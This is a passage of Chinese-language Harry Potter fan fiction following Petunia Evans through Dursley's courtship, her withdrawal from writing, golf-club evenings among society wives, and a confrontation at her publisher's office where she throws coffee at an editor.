车厢里沉默了一会儿,温度使人昏昏沉沉。
“我知道这不是一个合适的机会,”德思礼的视线从前方移到佩妮的脸上,又转而落在他的方向盘上,吞吞吐吐地说道:“但是佩妮……”
“一开始也是因为一只流浪动物对吗?我想想,好像是一只黑狗,我遇到了你。”他说。
“从我见到你的那天开始。”
“你的金发,你说话的语气和神态。”
“还有那天,你在我袖口和领口绣的金色的花朵。”
“在我小时候,我的母亲也会这样给我和玛姬缝上这样的花朵,但她的手艺没有你的好,我发誓。”
“直到后来她躺在病床上,再也无法为我和玛姬拿起针线。”
“噢,我要说的不是这个,佩妮,你在格朗宁办公室,在你之前我从来没有留意到那台打字机。”
“后来每天早上我经过那台打字机,你的手敲击在键盘上的声响,是我听过的最美妙的音乐。”
“你那么真诚,你有思想。”
“命运总是反复无常,人们向命运索要什么承诺,命运一概不理,只会在一些想不到的地方打你一个措手不及。”
“这是我父母去世时教会我的东西。”
“但不得不说,有时候命运也带给我惊喜。”
“我知道这个时间可能不太合适,但是我还是想说……”
“给我一个机会……”他看着车窗,左手紧张地摩挲他下颌新长出来的胡须,他的视线转过来,又在佩妮望过去的时候移开,“给我一个陪在你身边的机会。”
他说。
车窗上因为温暖结着一层朦胧的雾气,窗外是纷飞的白雪,天地的一切都因此界限消失变得模糊起来,好像只有这个温暖安全的空间里一切才真实存在。
佩妮伸手,拂去她那一侧车窗上的薄雾,窗面模模糊糊反射出她的金发,她平凡的面容。
她对上了自己的视线。
呀,你看见了我。
一直跟着你的我。
我知道你想向我质问什么。
你想起了诺拉对你说的话是吗?
——佩妮,我们会不会也在哪个故事里?我和你,我们也是被创造出来的人物,冥冥之中有一只笔也在撰写我们的命运。
——你看了那么多的故事,在那些已经出版的这些小说里,你提前看过结局了,你知道仁慈的作者会赐予她们幸福又美满的结局,你会有惊无险地到达最后的终点。但佩妮,在我们的小说故事里,你怎么保证撰写我们故事的那支笔,一定能够我们带来一个美好的结局呢?
嘿,请不要用那种眼神看着我。
——也不要这样看着我手上的那支笔。
我的笔只记录,忠实记录在你身上发生的事情。
而你的命运不由我安排,在我落笔前,在宇宙被创造前,早已被写就在了另外一本书里,另外一张白纸上。
你是不幸的。
因为洪水有时候决堤,决堤在别人身上,只是这一次不幸决堤在了你的身上。
但你也是幸运的,因为他出现了。
你的小说这么写,其他小说也这么写。
她们坠入河流,就轮到他们出场。
于是德思礼一次又一次地出现。
恰当又及时地出现。
他爱上你也觉得这是命运不是吗?
命运并非残忍,命运只是有些反复和无常。
生命总在继续,死亡不可避免。
那辆汽车,你肯定对那辆汽车印象深刻。
有人上车,有人下车。
承认命运也没有什么大不了的。
德思礼将他的手从方向盘上抬起来,以一种缓慢的姿态向她伸过来。
窗外雪下可得真大,什么也看不清。
佩妮闭上眼。
任由那只手覆盖她的手背,牢牢地攒住了她。
85.chapter84
侍者一边把咖啡和甜品端上大理石餐桌,一边向她们介绍咖啡和甜品的最佳品鉴方式和时间。
佩妮喜欢那道甜品上的樱桃,外皮被特殊处理过,嫣红从均质如同琥珀般的果仁里透出来,点缀在下方的蛋糕体上,像一颗初生的太阳。
她们一人一边坐在那由不规则线条搭建而成的座椅上——据说设计者是一位来自那不勒斯的艺术家,信誓旦旦地保证那不规则的线条完全符合人体工程学,兼顾艺术与实用性。
但玛莎看起来如坐针毡,眉头高高蹙起,不时挺起自己的腰,小幅度挪动躯体,就好像座椅上有虫子在咬她一样。
侍者似乎看出了她的窘迫,在结束介绍递上热毛巾后,收起托盘凑到她耳边小声询问她是否需要帮助,但她脸上那副局促不安的表情愈发明显了。
“哦不,谢谢你,我很好。”玛莎连连摆手拒绝那名好心的侍者,将她打发走,那双哀愁的眉目便落在了佩妮身上。
“今天的天气很好。”玛莎端起她的咖啡。
佩妮的视线随着她的话语,落在咖啡厅靠街道玻璃窗外碎金般的阳光上,不禁微微眯了眯眼。
她说完这句话,单词就掉到了地上,空气落入短暂的沉默中。瓷杯叩至碗碟的脆响,收音机里轻声但悠扬的小提琴,街道上汽车的喇叭声,人群的交谈声在这一刻无比清晰地传到佩妮的耳朵里。
真奇怪,她和玛莎之间很少有这样的时刻。
她把手稿递给玛莎,玛莎从工作台后探出头,抬抬自己的眼镜,蹙着她的眉头,同她讲手稿需要修改的地方。
玛莎的工作台文件繁多,廉价白色塑料挡板格出一个局促的空间。
但词语不会有掉在地上的时刻。
可是现在。
佩妮认为这是因为她只和玛莎在工作的时候交流,从来没有像现在这样私下喝过咖啡。
星期六的上午——勉强算是上午,因为拉开厚重的窗帘,照进来的已经是晌午的光芒。
她从一场昏沉的梦中醒来,洗完澡,打开衣柜,手指在德思礼为她置备的多条礼裙中摆动——一场约会,和德思礼,傍晚在郊外的一个高尔夫球场。
门在这时被敲响,那敲门声不重,却使佩妮心惊肉跳。
她打开门,门外站着玛莎。
——她怎么找到这儿来的?
现在玛莎坐在佩妮身边,她端起那杯咖啡,最终却又放下:“你有很久没有来找过我了。”
她说的确实是事实。
佩妮端起自己面前那杯暂时还没加糖没加奶的咖啡,送到自己嘴边轻啜了一口。首选沁入她鼻尖的,是咖啡的香味,她很努力地辨寻着侍者为她介绍的,她应该品鉴出来的十几种芳香。
这是侍者向她推荐的饮用方式。这款咖啡豆来自一个在地球上离伦敦相当遥远的种植庄园,每年只有很少数量的豆子能在市面上流通。
以前她是很频繁地去找玛莎,将自己的手稿递给她。
但是现在想想,上次见到玛莎是什么时候?
上个月?
还是上上个月?
可是创作哪里是一件容易的事。
白天,她需要工作。
可等夜幕降临,街灯初上。
她就坐在德思礼那辆明亮宽敞的黑色斗篷轿车里,从一个明亮的街头,开到另外一个明亮的街头。
在成衣店,他阔绰地为她从衣架上取下那些华丽的礼服。
亲手将那条珍珠项链带到她的脖颈上。
等她提着购物袋回到公寓,星子已经缀满了天空,她累得倒头就睡。
至于周末,汽车有时开在郊外公园落满树叶的小径里,有时停在展示钻机钢材零件的现代风格的博览会门口。
写作。
她不是不想写,但是灵感又哪里像泰晤士河的河水,能一刻不停地在她脑海中奔流。
有一天她回来时候尚早,她打开台灯,坐在自己的书桌前,拉出放纸笔的抽屉,发现里头已经落了一层灰。
最最重要的是,当她把那本崭新的笔记本放在自己桌上时,借着桌面台灯的光芒,书桌一角有什么东西闪烁着异样的光芒。
她用食指和拇指将那异物捻起来,放在眼睛跟前凑近了一看。
一根白毛。
猫的白毛,尖端还有一撮不易察觉的黑色。
那天晚上她一整晚都在打扫卫生,清洗床单被套,保证她那间小小的一居室公寓,绝对再也找不到第二根白毛。
她把书架放倒,踢到床下,同警察局邮寄过来的妈妈的手提箱,还有多利的猫窝和饭盆一起,床帘一罩,就什么也看不见了。
写作。
佩妮含糊地咽下那口咖啡,十几种应该品尝出来的芳香她一口也没鉴赏出来,她品出来的只有残留在她嗓子里挥之不去的苦与涩。
佩妮用自己的食指将桌上放置砂糖糖罐和奶罐的木碟勾到自己这侧。
动作之间,她手腕上的细链镀金手表露了出来——那是德思礼专门买来送给她的,有一个精巧的表盘,指针是纯银做的,秒针上雕刻着一只小小的长翅膀天使,一刻不停地滴答走动着。
为了约会用,德思礼不喜欢迟到。
玛莎的视线追逐着这块女士手表,又落在佩妮的衣着上,她的眉头老是哀怨地蹙着,使她连夸人都带着淡淡的忧愁:“不得不说,这套衣服很漂亮,非常适合你。”
金属糖罐上折射出佩妮现在的样子。
她的金发前一段时间在造型店被精心打理过,带着一种动人的柔顺的光泽。发尾整齐地收束在发网里,修饰她那有些过长的脖子。一件棕色的昂贵风衣外套,里面衬一条鹅黄色修身连衣裙,腰间系着一条镶嵌有小钻石的银色腰带。
她脖子上戴着一串德思礼亲手为她选择的珍珠项链。
她的倒影因金属砂糖罐的曲面弧度,在动作之间被反复地拉长变形。
“你还在写小说吗?”玛莎对她说。她坐在大理石餐桌的那一头,还穿着那件雷打不动的白色衬衫,束进黑色的工装裙里,黑色的裙面因反复的洗涤部分地方露出了细小的绒毛,不再光滑。
工裙下,她那双黑色皮鞋前头显出一道长期穿着产生的折痕,即使打了蜡,上了漆,也无法掩盖它被长期使用的痕迹。
她整个人,都与这间咖啡馆,还有里面的人格格不入。
佩妮突然开始烦躁起来,后悔自己为什么要来邀请她饮用这杯咖啡。
为了掩饰她的心情,佩妮只好把咖啡送进自己的嘴里,胡乱地嗯了一声,既不回答,也不拒绝。
“那下一篇文稿,你打算什么时候给我?”玛莎的声音步步紧逼。
她怎么这么讨厌。
讨厌的刘海,讨厌的眼镜。
讨厌的老土衬衣和裙子。
讨厌的那副,永远蹙起来的,哀伤的眉眼。
她有什么好忧愁的?
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这个世界上有什么东西值得她总是挂着这副忧伤的表情?
佩妮砰地一声把咖啡放在餐桌上,声音惊来了周围的目光。
玛莎从餐桌上扯出白色的餐巾,一点点擦拭桌面上溅出来的褐色液体。
“我要走了。”佩妮站起来,看着坐在原位上的玛莎,“我晚点还有约。”
玛莎点点头,转过她的视线不再看佩妮。她伸手温柔地唤来侍者,打开她随身携带的旧挎包结账。
佩妮心头一跳。
不能让她这么做,一旦让玛莎这么做,一切就完蛋了。
残余的理智告诉佩妮。
于是她拉住侍者,将匆忙间落在她前额的金发别至耳后:“记在德思礼账下,向之前那样。”
侍者知道她是德思礼的女伴。
佩妮转身盯着玛莎那双哀怨的眉眼:“很快,下一篇稿子,我很快就会给你,你再等我一下。”
随后她再也不去看玛莎的表情,推门跑出了咖啡馆。
不能先让玛莎结账。
必须得让她先来,让她把那篇手稿交到玛莎手上,她就要对她说,她再也不写了。
她有权力。
她有写作的权力,也有不写作的权力。
她抱着胳膊走在大街上,看着阳光洒在那些商铺的门口。
在她的故事里,布伦南小姐在危机四伏的丛林中拔出宝剑,警惕着安静的丛林里随时会跳出来的危险。
但她害怕担忧的事情并没有出现,她的生活同先前并没有两样。
她认为布伦南小姐过虑了,丛林里并没有什么危险。
阳光洒在白色建筑的屋顶上,就像一条撒着金箔纸的圣代船。
在她的视线里,那栋白色建筑原本坚硬的轮廓突然开始软化,变形,圣代船的冰淇淋顶开始融化。
又来了,她停下脚步。
在她一个人的时候,世界有时就会发生很可怕的变化。
她的身体是一个热气球,将她牢牢拴在这块大地上的绳索一根接一根地松开。
她往天空飘,身体逐渐膨胀,到达一个临界点时就会砰地一声炸开。
放轻松,没有什么大不了的。
佩妮深吸一口气,闭眼再睁眼。
好消息,她还站在原地。但是这一刻坚硬的沥青道路也开始融化,她的双脚陷入柔软的空虚中。
此刻街道上其余的一切也随着那个融化的屋顶也开始变形,就像按动了什么开关,建筑、街道、电线杆、汽车、行走的人群,这一刻失去它们原本的界线,开始融化,开始消失。
佩妮惶恐地停在原地,拼了命地闭眼睁眼。
但她什么也做不了,她无法阻止融化的进程。
“嘿,佩妮。”德思礼不知道从哪里钻出来,一把攒住她的手,他身上散发着热狗店里热烘烘的炸物气味,混合着烟草的味道,“你没有迟到,我很开心。”
他说。
他一点也没有察觉到佩妮的惶恐,他手上拿着一个热狗——他真的很爱热狗,很爱薯条,他说这是他在美国时留下的习惯。
他的黑色轿车就停在离佩妮不远的地方。
可从他抓住佩妮那刻起,她重新踩在了坚实的地面上,视线里所有的东西,建筑、街道、电线杆、汽车、人群,在那一刻停止了融化,统统恢复了它们原本的模样。
仿佛劫后余生一般,她被裹进一个温暖安全的,散发着热狗香气的怀抱。
86.chapter85
那个高尔夫俱乐部的入口坐落在市郊外一个环山别墅处。
门前是一块足有两块足球场大的停车坪。
正中间竖立着一座喷泉,喷泉的中央立着一座白色希腊式爱神雕像。
清澈的水从爱神向天空高高举起的箭头中喷射而出,水珠落在水池中,砸碎那栋金碧辉煌的别墅倒映在池水中的倒影。
太阳坠在西边群山的线条上,星星和月亮点缀在东边青黑色的天幕上,橘红色和青黑色在佩妮视线前方的天空猛烈相撞,好似画布上被打翻的颜料。
德思礼把车停在了雕像的翅膀下,带着佩妮穿行过白色大理石砖铺好的笔直道路,向那栋装饰得普通皇宫一般的建筑走去。
建筑前方的这块空地看起来无边无际,大理石路好像怎么也走不到尽头,高跟鞋的细跟扣在石砖上,佩妮只走了几步,就不得不挽住了德思礼的手。
他们没法把车停的再靠近入口了,因为有其他的汽车停在了那里,德思礼一边观察着那些汽车,一边向佩妮抱怨,这种会员制俱乐部,就应该拒绝部分车型的驶入,他们根本不知道真正的客人是谁。
佩妮听不懂他嘴里说的那些有关品牌型号、发动机功率等的单词。.
她只是抿着嘴,昂头挺胸地沿着那条大理石路前进,忍耐那双昂贵又华丽的高跟鞋不算柔软的皮质鞋带反复摩擦她足背的火辣感觉,直到铜制金属纽扣一路扣到下颌的侍者为她和德思礼拉开那栋复古华丽的大门,踩在柔软的地毯上时,她才在心底松了一口气。
她闻到尤加利、迷迭香和鼠尾草的味道。
屋顶悬挂着水晶吊灯,在那栋装饰复古的旋转楼梯口,德思礼脱下了他的西装外套,随手将它递给了佩妮,便在侍者的带领下走向高尔夫球场,而佩妮则在另外一位娃娃脸侍者的带领下,推开了二楼女士休息室的大门。
一瞬间她好像来到一个属于金发的国度。
黄色的灯光照在一片由金发组成的海洋上。
深的金发,浅的金发,长的金发,短的金发,束在发网里的金发,编成辫子环在头上的金发。
深色金发属于齐奥伯森太太,浅的金发属于布尔加尼亚太太,束在发网里的金发属于布勒布里奇太太,而那编成辫子环在头上的金发则属于奥克勒西太太。
她的金发呢?
她被精心打理过的金发也整整齐齐束在发网里,今晚属于德思礼先生的女伴。
佩妮第一次意识到,原来她曾经遗憾的,没有继承的发色,有一天竟然也成为了她的通行证,她的勋章。
因为这可是一头,无可挑剔的,彻头彻尾的天生金发。
娃娃脸的侍者领着她坐到布勒布里奇太太的身边,那是她常坐的位置,就在阳台边上,微微探出身,就可以看见下方高尔夫球场的情形。
侍者为她端来香槟和热毛巾,收起托盘对她弯腰鞠了个躬,佩妮趁这个时候从包里掏出德思礼早已为她准备好的小费,不动声色地塞进他有意无意露出来的上衣口袋里。
现在她已经习惯,习惯于在侍者先她一步,为她捡起她掉落的首饰时,从容塞去几张绿色的纸币,而不是一脸无措地对侍者说谢谢。
布勒布里奇太太端庄地坐在她旁边的躺椅上,戴着白手套的手举着香槟,对佩妮问好:“晚好,伊万斯小姐,您的头发真漂亮,我就是缺一点您这样的光泽。”
她的这句话是夜晚流程的起点,佩妮当然知道接下来她的台词是什么,她抿起她的嘴唇,举起她手里的香槟:“噢不,您过谦了,您的头发质地看起来像绸缎一样,这才是我羡慕您的地方。”
布勒布里奇太太看起来很满意她的回答,快乐且优雅地弯起了她的眼角。
香槟相碰,玻璃杯发出脆响,拉开夜晚的帷幕。
楼下传来一阵猛烈的欢呼声。
原来是有人得分了。
得分的正巧是布勒布里奇先生,他身边的人用力拍着他的肩膀,大声喊叫以示鼓励。布勒布里奇太太放下她的香槟猛地站了起来,她看起来也想要尖叫,却只从喉咙里挤出一声小猫似的叫声,而旁边长椅上的其他太太则纷纷对她点头以示庆贺。
佩妮看见德思礼走上了球场,他嘴里叼着一根雪茄烟,白色衬衣的衣袖被卷至手肘处,布勒布里奇先生握住他的手,拍了拍他的肩,将那根象征好运的球杆传给了德思礼。
现在轮到德思礼上场了。
现在轮到佩妮为他祈祷了。
高尔夫球场占据了整整两个山头的面积,围栏两侧的巨型照明灯将这里照彻如同白昼。
光线充盈着高尔夫球场的每一个角落,不能容忍哪怕一丝黑暗的存在。
佩妮看着底下的高尔夫球场。
魁地奇球场,飞行的扫帚,大雨,狂风,但看台上气氛热烈得很。
得分,得分,得分。
莉莉给她写信。
属于格兰芬多的计分赛不停地跳动,因为斯莱特林根本无法阻挡詹姆·波特的进攻——他们在天空中,连他一片衣角都摸不到。
那场比赛是创纪录的,因为格兰芬多对斯莱特林的比分历史性地拉到了150分以上。
天空就是詹姆·波特的绝对领域——他进球时,有两个被狂风骤雨吹昏头的斯莱特林姑娘错误地鼓起了掌,幸亏雨声太大,除了我没有人注意到,不然那两个姑娘肯定要陷入麻烦。
电闪雷鸣,斯莱特林的找球手雷古勒斯·布莱克被鬼飞球迎面从扫帚上砸了下去——他们不是故意把鬼飞球击向他的,雨太大了,大家都看的不是很清。
雷古勒斯·布莱克没有摔下去,他重新抓住了他的扫帚,升上了天空。
甚至——他举起了手中那个金灿灿的东西。
金色飞贼。
是雷古勒斯·布莱克找到了金色飞贼,提前终止了比赛。
他是明智的,否则局势只会更加难堪。
扫帚降落到地上,大家把詹姆·波特抛向了天空。
雷古勒斯·布莱克的鼻子好像歪了,他的脸上一直在流血,雨水冲不掉,他拿袖子也擦不完。
小天狼星的脸色很难看,我告诉他奖杯始终是我们的,但他的视线就是阴沉沉地盯着一直抓着金色飞贼不放,最后被架去医疗翼的雷古勒斯·布莱克。
莉莉在信里这么写。
斯莱特林也存在勇敢的心,佩妮。
她说。
但我只能在信里告诉你,我有时候在想,要是没有学院,要是没有那些标签,大家能正视自己的内心,不受蒙蔽该多好。
多可惜。
在月夜里,一封又一封的信被绑在塞勒涅的腿上,向她递送过来。
霍格沃茨黑湖融化的冰雪,湖底一闪而过的巨型大章鱼。
禁林边缘的小屋,小天狼星的袍子被炸尾螺点燃了,彼得发出尖叫,海格请大家吃要把牙齿都粘在一起的乳脂软糖。
从詹姆·波特陪她回到科克沃斯那天,她就觉得他那头乱七八糟的头发没有那么令人难以忍受了。
天文塔,她和詹姆·波特一起夜观星象的天文塔。
Petunia……
每一句话的开头都是佩妮。
P写得又大又圆。
佩妮佩妮佩妮……
你在做什么在看什么在想什么?
你看见我看到的听到我听到的想到我想到了的吗?
莉莉永远爱佩妮,永远。
塞勒涅站在她书桌上好些揉皱的纸团旁,立起一只脚,梳理着自己的羽毛,等待佩妮的回答。
但她写什么?
写日复一日的打字员工作?
写那些成衣店?餐馆?
德思礼为她购买的手提包?连衣裙?
思来想去,她只好提笔写下:
收到你的来信,我也一切安好。祝你拥有开心
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快乐的每一天。
砰——楼下有人击杆了,佩妮浑身一震,把自己的注意力重新集中到楼下的球场。
等待得分的过程总是漫长的,那颗白色的小球要被一杆接一杆往前击打。
不断地调整角度、挥杆、击打。
但它总是无法按照人们的意愿落在他们想要的地方。
有时候二楼会短暂陷入沉默,这里可不喜欢沉默。
沉默会使微笑更加疲惫,而微笑总是需要消耗她们的体力。
电视机的声音调在一种既不会打扰她们交谈,等她们停下来时又不会使场面陷入寂静的程度。
佩妮听见了电视机的声音。
庞·佩普小姐作为电影《山雀》的绝对主演接受采访。
电视机里,金发碧眼的她美艳不可方物。
“他们还是选择了庞·佩普。”她们说,“安东尼吉亚虽然拥有一头棕红色的头发,但她毕竟是一位初出茅庐的新人,诺顿导演肯定要综合评估。”
佩妮知道这件事。
因为这段时间娱乐报纸头条和电视的娱乐频道都在讨论这件事。
先是索菲在电视机里出现,她坐在诺顿导演和作为编剧的文森特先生旁边,强调作为《山雀》的女主角,演员必须是一名红发演员。
过了几天诺顿导演和文森特先生再次出镜,宣布将女主角的名额敲定给了今年刚满19岁的庞·佩普小姐。
她荣获了1976年英国影视剧最佳新人奖,她相当有潜力,是《山雀》最合适的人选。
不不不,亲爱的记者,除了考虑发色外,演员的个人经历,对剧本的理解难道不也是确认选角的重要参考标准吗?
您问索菲·文森特女士?
她今日身体不适,不便出席。
有人看见文森特先生和庞·佩普小姐深夜进入一栋豪华别墅,并拍下了一张照片。
胡说八道。
索菲出现了,再次出现在电视机里,她涂着厚厚的粉底,嘴上画着鲜红的口红,挽着文森特的手,笑容十分甜蜜。
请停止对女性演员进行造谣,庞·佩普小姐是一名优秀的演员,我和她是相当好的朋友。
我和我先生感情也很好。
我和诺顿导演也是好朋友。
场下又传来一阵激烈的欢呼声。
德思礼得分了。
他叼着雪茄,目光紧盯着远处的球洞,他眉头紧锁,一脸专注,提杆,挥杆,击球。
完美的抛物线。
正中红心。
佩妮放下她的香槟站了起来。
月光从遮挡她的房檐投射到她的脸上。
现在她的视线里可没有什么东西阻挡她了。
月亮挂在青黑色的天空,早从一轮圆月变成了一弯新月。
佩妮无端端想起路灯下小天狼星左耳闪着光的那个金属耳环。
月亮。
她低头看着楼下的高尔夫球场。
但在这一块永远也不会黑暗的草坪上空,只看得到月亮。
一颗星星也没有。
欢呼,一阵接一阵的欢呼。
他们拍着德思礼的肩膀,将那杆象征好运的球杆传到下一个人手上。
月亮。
她的眼里盈出因激动而产生的泪光。
她想要鼓掌,为德思礼欢呼。
冲向月亮。
嘘,保持礼仪,保持优雅,有这个流程就可以了,这里可不欢迎那真实的,粗粝的尖叫。
于是佩妮也只是从嗓子里挤出一声小猫般的轻声叫声表示激动。
她们端起香槟,微笑着对她点头致意。
照明灯像太阳。
这里有五六七八九十……数不尽的太阳。
永不知疲倦地照耀这方天地。
死亡。
这里黑暗永远也不会降临。
又一个夜晚过去了。
87.chapter86
一只手扼住佩妮的喉咙。
痛苦。
将笔抵在自己的胸口,希望链接胸中那汹涌的情绪和笔下空空如也的白纸。可直到笔盖的尖头戳得她心口的皮肤发疼,那些澎湃情绪也无法成功流淌到她的笔下。
写在白纸上的每一笔都十分生涩,就像机器磨损很久的零件在艰难地维持运转。
把那份文稿扔出去。
佩妮抓起桌面上的文稿,一把扔向了窗户。
扔出去,扔出窗外,扔出这栋公寓,扔出这条街道,扔出伦敦,扔出英国。
远远的,永远不要再看见它。
倘若它不幸地砸到了哪位路过的倒霉蛋头上——那说明这位倒霉蛋足够幸运,偏偏选择在这个时间点经过佩妮公寓的楼下,有幸被那本含着她满腔怒火和遗憾的手稿砸中。
那位倒霉蛋可能会一手吃痛地捂住头颅,一手捧着那本找不到主人的手稿,怒目四瞪,试图寻找这本手稿的主人。
此时他也许会突然意识到,这本砸到他脑门的东西是一本小说手稿,一本未出版的小说手稿。
也许是哪位名家的作品,好奇心会冲淡他的怒火,于是这个倒霉蛋站在原地,捧着那本罪恶的小说开始读了起来。
哈,读不上两页他就发现这本手稿根本就不出自名家之手,而是由三三两两前言不搭后语,没有逻辑,没有意义的句子组成的狗屁不通的东西。
他上当受骗啦。
既砸中了他的脑袋,给他带来了物理意义上的伤害,又辜负了他的期待,浪费了他的时间,给他造成了心理上的损失。
他会把这本手稿送去它应去的地方——街边的黑色垃圾桶。
这样也挺好。
佩妮抱着自己的脑袋想象着以上的场景。
但那本手稿既不会飞出英国,也不会被塞进垃圾桶,那本文稿撞在窗户玻璃上,砸出一道浅浅的白印,便弹回了书桌上,撞在了佩妮撑在书桌上的手肘。
除了给佩妮的手肘造成一道红痕的伤害外,这里没有任何物品受到了损伤。
至于玻璃——别担心,德思礼为她请来了装修队,将她这一居室的玻璃都统统都改装成了钢化玻璃。现在只要她愿意,没有活物能从这间小小的安全的房间逃出去。
文稿静静地躺在书桌上看着她,隐约露出一张嘲讽的脸,嘲笑她的徒劳无功。
打开窗户,摸出一根女士香烟。
室内亮起一撮小小的跳动的火苗,随后一股弯弯曲曲的白烟从佩妮左手的食指和中指间袅袅升起。
咔哒一声,打火机的盖子吞没那簇小小的火苗,听起来像一声叹息。
“这本小说没有结局,佩妮。”玛莎快速翻阅着那本手稿,直到最后一页。她的目光停在佩妮的手稿上,眉头越蹙越高,一双看着佩妮的眼睛既哀又怨,“你给了我一本没有完成的小说。”
“是啊。”佩妮毫不客气的说,她歪坐在玛莎对面的椅子上,右手撑着椅背,手掌托着下巴,眼神斜睨着玛莎,语气带着一丝报复性的快感:“我只能写出这种水平的东西了,这就是我这两个月的成果。”
她看着玛莎疲惫的面容,听着出版社往来的人声,打字机的轰鸣,她心里产生一丝隐隐的愧疚,但这愧疚很快被一种报复性的快感所吞没,她就任由这样一条分泌毒液麻痹神经的蛇一口一口吞噬她的内心。
玛莎重新把手稿翻到第一页,她的目光沉浸了进去。佩妮趁此机会一鼓作气的说:“我现在确认我没有什么写作的天赋了。写来写去都是那些单词,那些内容,我累了,所以就这样吧。”
她下了断绝书,这本写到一半就放弃的小说是她给玛莎的答案。
没有结尾的小说,永远不会被出版的小说。
玛莎既不抬头也不回话,她的目光只是钉在佩妮的手稿上。
“我走了。”佩妮撇了撇嘴,头也不回地离开了那家出版社。
她永远也不会再回来这里了。
天气逐渐转热,佩妮穿一条浅鹅黄的连衣裙坐在美发店里,头上罩着一个钟形罩似的烫发仪器,将手上那本时尚杂志翻来覆去地看。
烫发的时间总是又久又无聊,但没办法,她需要收拾好自己去赴德思礼的晚宴。
余光一瞥,靠近窗台美甲区域的位置坐下了两名女士。
其中一位头上别着一颗夸张的红色樱桃发卡,坐在她旁边的是一位脖子上系着黄色丝巾的瘦高女士。
“P.E写了一篇新的小说。”樱桃发卡对黄色丝巾说。
佩妮翻动时尚杂志的手一顿。
“我知道P.E,”黄色丝巾说,她看起来是一位专业的读者,“她写在那些报纸上的小说我也看过,来来去去都是那些内容。内容老套又无聊,她的文笔有时夸张,有时词不达意,看起来没有受过专业的写作训练,有些地方写得根本让人无法理解。”
“不一样,这次的故事不一样。”樱桃发卡强调。
“奥黛丽过着按部就班的生活,有一天在自己的衣柜里看见了那双被遗忘的破旧芭蕾舞鞋。”
“奥黛丽想起来自己儿时的梦想是成为一名芭蕾舞演员。于是趁丈夫上班,孩子上学,奥黛丽穿上那双舞鞋,对着镜子举起了自己的双手,试图重新找回自己的记忆。”
“可是跳着跳着,奥黛丽停下了自己的动作,她突然想起来这双芭蕾舞鞋不是她的,她从来没有学过跳舞,她小时候发誓要成为的是画家、作家、宇航员、数学家,唯独不是芭蕾舞演员。”
“于是在某一天,奥黛丽的丈夫和儿子回到家,发现奥黛丽消失了。”
“后来呢?”
“没有了。”
“没有了?”
“嗯,这就是结尾,奥黛丽彻底消失了,甚至把她存在的任何痕迹都抹掉了。”*
“这篇故事有什么不一样?”
“它就是不一样,因为,因为……”说到这,樱桃发卡的声音里带上了一点颤抖,“因为我真的有一双芭蕾舞鞋。”
“你好!”佩妮急不可耐地举起她的手,唤来为她做造型的那位姑娘:“把这个玩意儿从我头上取下去。”她指了指自己头上的罩子。
“嘿小姐,这还没有到时间呢。”那姑娘面露难色,狐疑的目光看着佩妮,“头发已经做到一半了,这是无法退钱的。”
看着佩妮的神情,她再次强调:“您的头发要是出现任何问题,自行负责,我们可不予理赔。”
“我、知、道——”佩妮拉长了自己的语调,指着自己的头相当,“正是因为我已经付款了,现在、立刻把这个东西,从我的头上拿下去。”
顾不得仍在发烫,佩妮把绑在自己头发上的卷发棒一个一个拆下来,几个卷发棒缠在了她的发尾,她一把扯下来,连同她的头发,胡乱地扔到了一旁。
她怒气冲冲地走在街道上,迎面走来的人群目光纷纷落在她的身上,她的头发上,但她根本管不上这些。
她一把推开出版社的大门,径自走到最里面的一行。
“那是一本未完成的小说!”佩妮说。
玛莎的视线茫然地工作台后抬起来,等她看清佩妮的样子,她的眉头第一次完全舒展开来,但她克制住了自己的表情,用一种听起来相当轻快的语气对佩妮说:“不是所有的小说都需要一个结尾。”
佩妮不想吸引大家的注意,她将玛莎工作台旁边的凳子拉出来,坐到上面,用只有她和玛莎能听到的声音小声跟玛莎理论:“写到一半,没有完成的小说根本就不应该被刊登到报纸上。”
她涂着鲜红指甲油的食指指尖愤怒地戳着玛莎的书桌。
“我才是编辑,一篇小说能不能被发表,是由我决定的。”
“奥黛丽去哪里了?”
“我不知道,”佩妮语气僵硬,“她就这么消失了。”
“玛莎。”那名男编辑的声音从佩妮身后传来,她扭头,看见沃特斯端着一个空咖啡杯,向玛莎走来,“能麻烦你给我倒一杯咖啡吗?”
玛莎抬头看着沃特斯,她的眉头重新蹙起来:“嘿,等等,沃特斯,我在工作。”
“工作?哈,我知道,”沃特斯满不在意地耸耸肩,“但很快的,就一杯咖啡的功夫。”
佩妮突然意识到沃特斯没有发现她,她缩在玛莎的办公桌这儿,工作挡板拦住了她的身影。
“嘿,沃特斯,你没看到吗,我这儿……”玛莎还想说什么,但这时佩妮站了起来,暴露在了沃特斯的视线里,玛莎没有拉住她。
“一杯咖啡?”佩妮对沃特斯说。
面对着突然冒出来的人,沃特斯微微瞪大了他的眼睛,他的视线先落在佩妮那条价值不菲的连衣裙上,她颈部的珍珠项链,随后落在了她的头发上,他看起来一时间不知道该用什么样的表情和态度面对佩妮。
但佩妮知道沃特斯又没认出她来,他似乎总是凭借衣服,来认出面前的人是谁。
“一杯咖啡?”见沃特斯没有反应,佩妮重复了一下自己的话语,她的声音很甜美,“我们经常为客人准备咖啡。”
玛莎站起来试图阻止,但佩妮把她轻轻拨到了一边。
“一杯咖啡。”沃特斯反应过来了,脸上露出玩味的笑,撅起他的嘴角,将手中的咖啡杯递给了佩妮,“两杯浓缩,加奶加糖。”
佩妮接过沃特斯手上的咖啡杯,走到咖啡机前面,身后跟着一脸玩味的沃特斯,和高高蹙着眉头的玛莎。
有人开始望向这边。
玛莎试图拿走佩妮手中的咖啡杯,但佩妮偏过身体,躲开了她的手。
她观察了一下那部咖啡机,按照她的经验,在咖啡机下面的柜子里找到了糖和奶,从容不迫地按照沃特斯的要求为他准备了一杯咖啡。
沃特斯看起来满意极了,他笑眯眯地对佩妮伸出了手。
佩妮也对他露出一个微笑。
然后将那杯咖啡泼到了沃特斯的脸上。
出版社安静下来,好像连打字机的声音都停止了。
棕色的液体从沃特斯的脸上、鼻子上、耳朵上滴下来,滴在他的白衬衫、
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黑皮鞋上,滴在出版社的瓷砖地板上。
全世界只有佩妮在动,在说话,她从自己的包里掏出一张银行卡——同德思礼的相处,她也了解了一些信息,她为自己办了一张银行卡,艾丽卡离职后,她一直在干着两人份的活,但格朗宁公司也慷慨地为她加了薪。
这张银行卡里是她攒下的所有的钱,她再也不需要将她攒下的钱可笑地存在她那本黑色笔记本里了。
“你知道的,玛莎小姐,”佩妮把卡塞进了玛莎的手上,“你们出版社,你经手的所有杂志、报纸,我都要订一份,地址……呃,你知道的,就寄到那里去。”
“还有沃特斯先生的赔偿金额也算在里面。”她说。
“如果有任何问题,沃特斯先生,你可以随时通过律师向我联系。“
她走出出版社。
